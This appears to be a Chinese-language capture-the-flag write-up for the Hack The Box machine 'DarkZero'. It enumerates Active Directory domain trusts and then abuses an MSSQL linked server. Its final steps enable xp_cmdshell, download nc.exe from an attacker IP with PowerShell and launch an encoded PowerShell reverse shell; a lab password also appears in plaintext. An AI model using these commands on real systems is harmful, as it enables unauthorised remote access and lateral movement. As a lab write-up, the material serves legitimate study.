# 查询所有信任(包括外部)
nltest /domain_trusts /all_trusts
# 查询本地服务器的信任
nltest /domain_trusts
# 查询指定域控的信任
nltest /domain_trusts /server:DC01
linux下可以用ldeep
┌──(root㉿kali)-[~/Desktop/htb/Season9/DarkZero]
└─# ldeep ldap -u john.w -p 'RFulUtONCOL!' -d darkzero.htb -s ldap://10.129.58.102 trusts
dn: CN=darkzero.ext,CN=System,DC=darkzero,DC=htb
cn: darkzero.ext
securityIdentifier: S-1-5-21-1969715525-31638512-2552845157
name: darkzero.ext
trustDirection: bidirectional
trustPartner: darkzero.ext
trustType: Windows domain running Active Directory
trustAttributes: FOREST_TRANSITIVE | CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
flatName: darkzero-ext
CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
跨组织 TGT 委派已启用bidirectional
双向信任还可以用其他的命令
# ldapsearch-ad
ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts
# ldapsearch
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"
BloodHound 也可用于映射信任关系。虽然它不提供太多细节,但能显示可视化表示。
1:先用 enum_links
枚举是否有链接服务器(跨域信任关系)
- 这里有一个指向
DC02.darkzero.ext
的链接服务器- 在
DC01
上的用户为darkzero\john.w
,切换到DC02
后继承dc01_sql_svc
的权限
2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w
用户在DC01的mssql的角色为 guest
但在 DC02
的mssql服务上的角色是 SA
)
use_link [DC02.darkzero.ext]
3:提权执行命令反弹shell
enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'
#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU...